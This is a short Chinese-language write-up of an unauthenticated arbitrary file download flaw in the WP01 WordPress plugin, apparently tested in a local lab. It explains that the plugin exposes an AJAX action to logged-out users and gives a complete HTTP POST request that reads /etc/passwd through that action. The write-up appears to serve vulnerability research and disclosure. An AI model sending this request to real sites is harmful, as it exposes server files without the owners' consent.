简介

WordPress WP01 未授权任意文件下载漏洞！

环境搭建

步骤 1：下载 WP01 插件，但是...

alt text

哈哈，别担心，这里是该插件的源代码。

步骤 2：将提供的 wp01 文件夹打包并上传到 WordPress 插件区域。像这样-->

alt text

分析

很简单——漏洞在以下位置触发：

alt text

接下来，检查 make_archive 方法在何处被调用。

alt text

存在两个 AJAX 操作钩子——一个针对已登录用户，另一个针对未登录用户。这就是未授权访问漏洞的原因。

好了，现在让我们构造 payload 来读取本机上 /etc/passwd 的内容。

POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
Host: 192.168.43.133
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=8b29e9ec5200189ba7e72e98d4c6d017; WS_ADMIN_URL=ws://192.168.43.133/notice; WS_CHAT_URL=ws://192.168.43.133/msg; wordpress_test_cookie=WP%20Cookie%20check; XDEBUG_SESSION=PHPSTORM; wp01-lang=en; wp_lang=en_US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

target=passwd&path=/etc/

结果：

alt text